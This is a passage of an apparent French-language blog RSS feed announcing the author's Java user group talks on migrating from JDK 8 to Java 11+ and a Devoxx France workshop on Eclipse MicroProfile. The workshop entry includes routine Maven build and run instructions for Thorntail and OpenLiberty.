&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Changement de licence d&amp;#8217;Oracle&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Après la sortie de Java 9, 10, 11, 12 et bientôt 13, c&amp;#8217;est le moment de franchir le cap et de changer de JDK. Nous aborderons les nouveautés et nous verrons les points d&amp;#8217;attention.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En clair, tout ce que vous devez savoir pour commencer ou migrer votre projet en Java 11+ en douceur.&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;vidéo_de_la_présentation&quot;&gt;Vidéo de la présentation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La conférence a été filmée et elle est disponible en deux parties&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=RfE3hWnX8FA&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Partie 1 - Youtube&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;videoblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;iframe width=&quot;100%&quot; height=&quot;50%&quot; src=&quot;https://www.youtube.com/embed/RfE3hWnX8FA?rel=0&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=rykYjVJZWFE&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Partie 2 - Youtube&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;videoblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;iframe width=&quot;100%&quot; height=&quot;50%&quot; src=&quot;https://www.youtube.com/embed/rykYjVJZWFE?rel=0&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;support_de_présentation&quot;&gt;Support de présentation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le support de la présentation est disponible sur &lt;a href=&quot;https://speakerdeck.com/lbenoit/java-11-12-sont-sortis-et-bientot-le-13-cest-le-moment-de-remplacer-son-jdk-8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SpeakerDeck.com&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2019/support-migration-jdk11-parisjug.png&quot; alt=&quot;support migration jdk11 parisjug&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références :&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.parisjug.org/xwiki/wiki/oldversion/view/Meeting/20190910&quot;&gt;Annonce sur le site du ParisJUG&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>&quot;Java 11, 12.. c est le moment de changer son JDK8&quot; - BordeauxJUG</title>
      <link>https://www.lilian-benoit.fr/2019/05/java11-12_c_est_le_moment_de_changer_son_jdk8.html</link>
      <pubDate>jeu., 16 mai 2019 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2019/05/java11-12_c_est_le_moment_de_changer_son_jdk8.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;voici_le_sujet&quot;&gt;Voici le sujet&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 12 est sorti comme prévu en mars dernier.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 11 est sorti en septembre dernier, estampillé LTS (Long Term Support)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Que de changement depuis Java 8 ?&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nouvelle sortie de Java tous les 6 mois&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Notion de LTS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Java 9 et ses fameux modules&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Changement de licence d&amp;#8217;Oracle&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Après la sortie de Java 9, 10, 11, et 12 c&amp;#8217;est le moment de franchir le cap et de changer de JDK. Nous verrons les nouveautés, les points d&amp;#8217;attention.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En clair, tout ce que vous devez savoir pour commencer ou migrer votre projet en Java 11 en douceur.&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;vidéo_de_la_présentation&quot;&gt;Vidéo de la présentation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La conférence a été filmée et elle est disponible sur  &lt;a href=&quot;https://www.youtube.com/watch?v=iY5M4N4nKkc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Youtube&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;videoblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;iframe width=&quot;100%&quot; height=&quot;50%&quot; src=&quot;https://www.youtube.com/embed/iY5M4N4nKkc?rel=0&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;support_de_présentation&quot;&gt;Support de présentation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le support de la présentation est disponible sur &lt;a href=&quot;https://speakerdeck.com/lbenoit/java-11-12-dot-cest-le-moment-de-remplacer-son-jdk8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SpeakerDeck.com&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2019/support-migration-jdk11-bordeauxjug.png&quot; alt=&quot;support migration jdk11 bordeauxjug&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.meetup.com/fr-FR/BordeauxJUG/events/261250540/&quot;&gt;Annonce Meetup du BordeauxJUG&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>&quot;Créer facilement des microservices avec Eclipse MicroProfile&quot; - Conférence Devoxx France</title>
      <link>https://www.lilian-benoit.fr/blog/2019/04/creer_facilement_des_microservices_avec_MicroProfile.html</link>
      <pubDate>mer., 17 avr. 2019 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">blog/2019/04/creer_facilement_des_microservices_avec_MicroProfile.html</guid>
      	<description>
	&lt;h1 id=&quot;contexte&quot; class=&quot;sect0&quot;&gt;Contexte&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;J&amp;#8217;ai eu le plaisir d&amp;#8217;être sélectionné par le jury de &lt;a href=&quot;https://www.devoxx.fr&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Devoxx France&lt;/a&gt; pour animer une Université sur la création des microservices avec  &lt;a href=&quot;https://microprofile.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Eclipse Microprofile&lt;/a&gt; pour la deuxième année consécutive. Cette année est particulière car je suis seul pour animer cette université. C&amp;#8217;est un bon défi pour moi.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- toc disabled --&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2019/devoxxfr-1.png&quot; alt=&quot;devoxxfr 1&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;h1 id=&quot;voici_le_sujet&quot; class=&quot;sect0&quot;&gt;Voici le sujet&lt;/h1&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;architecture des microservices apporte son lot d&amp;#8217;avantages mais surtout des nouveaux challenges pour les équipes de développements.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le monde Java n&amp;#8217;est pas en reste, profitant des spécifications matures de Java EE / Jakarta EE (JAX-RS, CDI..), une communauté s&amp;#8217;est construite en essayant d&amp;#8217;apporter des éléments de réponses aux nouveaux défis : MicroProfile sous l&amp;#8217;égide de la fondation Eclipse. Pour cela, une série de nouvelles spécifications ont été créés : Config, OpenAPI, Rest Client, HealthCheck, Propagation JWT, Fault Tolerance, Metrics.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le déploiement est sous forme d&amp;#8217;uberjar, c&amp;#8217;est à dire sans installation de serveur d&amp;#8217;applications au préalable. On démarre comme une simple application java.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La communauté aime la pluralité. Cela est aussi vraie pour Eclipse Microprofile avec plusieurs implémentations disponibles : thorntail, payara, helidon, tomee, open liberty et d&amp;#8217;autres.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au delà d&amp;#8217;une introduction sur ce projet, nous allons aborder les différentes spécifications par l&amp;#8217;exemple (c&amp;#8217;est à dire du code). Nous verrons ainsi leurs intérêts et leurs utilisations.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De plus, la dernière version Eclipse Microprofile 2.0 s&amp;#8217;aligne sur les spécifiations Java EE / Jakarta EE 8.&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;CFP de Devoxxfr :
&lt;a href=&quot;https://cfp.devoxx.fr/2019/talk/LGU-0798/Creer_facilement_des_microservices__(ou_cloud_native_java)_avec_Eclipse_MicroProfile&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;via cfp.devoxx.fr&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2019/devoxxfr-2.jpg&quot; alt=&quot;devoxxfr 2&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;fr&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;And now the talk on &lt;a href=&quot;https://twitter.com/hashtag/Eclipse?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#Eclipse&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/microprofiles?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#microprofiles&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/Lilian_Benoit?ref_src=twsrc%5Etfw&quot;&gt;@Lilian_Benoit&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/devoxxfr?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#devoxxfr&lt;/a&gt; &lt;a href=&quot;https://t.co/jeaEfq1GjD&quot;&gt;pic.twitter.com/jeaEfq1GjD&lt;/a&gt;&lt;/p&gt;&amp;mdash; Horacio Gonzalez #io19 (@LostInBrittany) &lt;a href=&quot;https://twitter.com/LostInBrittany/status/1118477926889074688?ref_src=twsrc%5Etfw&quot;&gt;17 avril 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;h1 id=&quot;vidéo_de_la_présentation&quot; class=&quot;sect0&quot;&gt;Vidéo de la présentation :&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La conférence a été filmée et elle est disponible sur Internet &lt;a href=&quot;https://www.youtube.com/watch?v=WOKp0KwKqkg&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;via Youtube.fr&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;videoblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;iframe width=&quot;100%&quot; height=&quot;50%&quot; src=&quot;https://www.youtube.com/embed/WOKp0KwKqkg?rel=0&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;h1 id=&quot;support_de_présentation&quot; class=&quot;sect0&quot;&gt;Support de présentation :&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le support de la présentation est disponible sur &lt;a href=&quot;https://speakerdeck.com/lbenoit/creer-facilement-des-microservices-ou-cloud-native-java-avec-eclipse-microprofile&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Speakerdeck.com&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2019/support-microprofile-devoxxfr.png&quot; alt=&quot;support microprofile devoxxfr&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;h1 id=&quot;dépôt_git_pour_les_exercices&quot; class=&quot;sect0&quot;&gt;Dépôt GIT pour les exercices :&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les exemples sont disponibles sur un dépôt GIT &lt;a href=&quot;https://github.com/lilian-benoit/microprofile-universite-exos&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;via GitHub&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;structure_du_dépôt&quot;&gt;Structure du dépôt&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les projets sont configurés avec l&amp;#8217;outil &lt;strong&gt;Apache Maven&lt;/strong&gt;. il existe un profile &lt;strong&gt;Maven&lt;/strong&gt; pour chacune des implémentations &lt;strong&gt;Thorntail&lt;/strong&gt; et &lt;strong&gt;OpenLiberty&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le pré-requis est la connaissance de JAX-RS. Pour cela, il y a deux projets d&amp;#8217;introduction :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;jaxrs :&lt;/strong&gt; Projet Java utilisant uniquement JavaEE / JakartaEE, pour générer un war à déployer sur serveur d&amp;#8217;application&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mp-jaxrs :&lt;/strong&gt; Même code que jaxrs mais avec une dépendance MicroProfile au lieu de JavaEE / JakartaEE&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La dépôt contient aussi différents projets correspondant aux différentes spécifications :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mp-config :&lt;/strong&gt; Pour manipuler la spécification MicroProfile Config&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mp-fault-tolerance :&lt;/strong&gt; Pour manipuler la spécification MicroProfile Fault Tolerance&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mp-health :&lt;/strong&gt; Pour manipuler la spécification MicroProfile Health Checks&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mp-jwt :&lt;/strong&gt; Pour manipuler la spécification MicroProfile JWT&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mp-metrics :&lt;/strong&gt; Pour manipuler la spécification MicroProfile Metrics&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mp-openapi :&lt;/strong&gt; Pour manipuler la spécification MicroProfile OpenAPI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mp-opentracing :&lt;/strong&gt; Pour manipuler la spécification MicroProfile OpenTracing&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mp-rest-client :&lt;/strong&gt; Pour manipuler la spécification MicroProfile Rest Client&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Chaque spécification a son projet afin d&amp;#8217;étudier la spécification souhaitée sans aucun chemin. C&amp;#8217;est à dire que je peux faire &lt;strong&gt;mp-jwt&lt;/strong&gt; sans &lt;strong&gt;mp-health&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le projet &lt;strong&gt;microprofile-specs&lt;/strong&gt; permet de définir deux profils avec les plugins Maven nécessaire aux implémentations. (Thorntail et Open Liberty)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;utilisation_de_branches&quot;&gt;Utilisation de branches&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les branches sont utilisées pour obtenir les différentes solutions. Par défaut, il faut commencer avec la branche &lt;strong&gt;mp-start&lt;/strong&gt; afin de commencer l&amp;#8217;exercice.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour avoir la solution, il suffit de choisir la branche correspondant ayant le nom spécification-finish. Par exemple, pour la branche solution pour la spécification &lt;strong&gt;mp-health&lt;/strong&gt; est la branche &lt;strong&gt;mpHealth-finish&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;compilation_et_exécution_pour_thorntail&quot;&gt;Compilation et exécution pour &lt;a href=&quot;https://www.thorntail.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Thorntail&lt;/a&gt;&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;mvn package -P thorntail-v2&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le plugin Thorntail est configuré pour créer un hollow-jar. L&amp;#8217;exécution est faite par la commande suivante&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;plugin&amp;gt;
    &amp;lt;groupId&amp;gt;io.thorntail&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;thorntail-maven-plugin&amp;lt;/artifactId&amp;gt;
	&amp;lt;version&amp;gt;${version.thorntail}&amp;lt;/version&amp;gt;
	&amp;lt;executions&amp;gt;
	    &amp;lt;execution&amp;gt;
		    &amp;lt;goals&amp;gt;
			    &amp;lt;goal&amp;gt;package&amp;lt;/goal&amp;gt;
		    &amp;lt;/goals&amp;gt;
	    	&amp;lt;configuration&amp;gt;
	        	&amp;lt;hollow&amp;gt;true&amp;lt;/hollow&amp;gt;&amp;lt;!--&lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;--&amp;gt;
	        &amp;lt;/configuration&amp;gt;
	    &amp;lt;/execution&amp;gt;
	&amp;lt;/executions&amp;gt;
&amp;lt;/plugin&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;true pour construire un hollow jar, false pour fat-jar&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java -jar nom-projet-thorntail.jar mon-projet.war&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;compilation_et_exécution_pour_openliberty&quot;&gt;Compilation et exécution pour &lt;a href=&quot;https://openliberty.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenLiberty&lt;/a&gt;&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;sh&quot;&gt;mvn package -P liberty&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le plugin OpenLiberty est configuré pour créer un fat-jar. L&amp;#8217;exécution est faite par la commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java -jar nom-projet.jar&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>&quot;Java 11 est sorti. c est le moment de remplacer son JDK8&quot; - MarsJUG</title>
      <link>https://www.lilian-benoit.fr/2019/03/java11_est_sorti_c_est_le_moment_de_changer_son_jdk8.html</link>
      <pubDate>jeu., 14 mars 2019 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2019/03/java11_est_sorti_c_est_le_moment_de_changer_son_jdk8.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;voici_le_sujet&quot;&gt;Voici le sujet&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pourquoi parler de Java 11 alors que Java 12 sort la semaine prochaine ?&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est parce que java 11 est une version LTS (Long Term Support), c&amp;#8217;est à dire avec un support étendu. Après la sortie de Java 9, 10, c&amp;#8217;est le moment de franchir le cap et de changer de JDK. Nous verrons les nouveautés, les points d&amp;#8217;attention. En clair, tout ce que vous devez savoir pour migrer en Java 11 en douceur et profitez des nouvelles fonctionnalités.&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;support_de_présentation&quot;&gt;Support de présentation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le support de la présentation est disponible sur &lt;a href=&quot;https://speakerdeck.com/lbenoit/java-11-est-sorti-cest-le-moment-de-remplacer-son-jdk-8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SpeakerDeck.com&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2019/support-migration-jdk11-marsjug.png&quot; alt=&quot;support migration jdk11 marsjug&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.meetup.com/fr-FR/Marseille-Java-User-Group-Meetup/events/258790515/&quot;&gt;Annonce Meetup du MarsJUG&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>

  </channel> 
</rss>
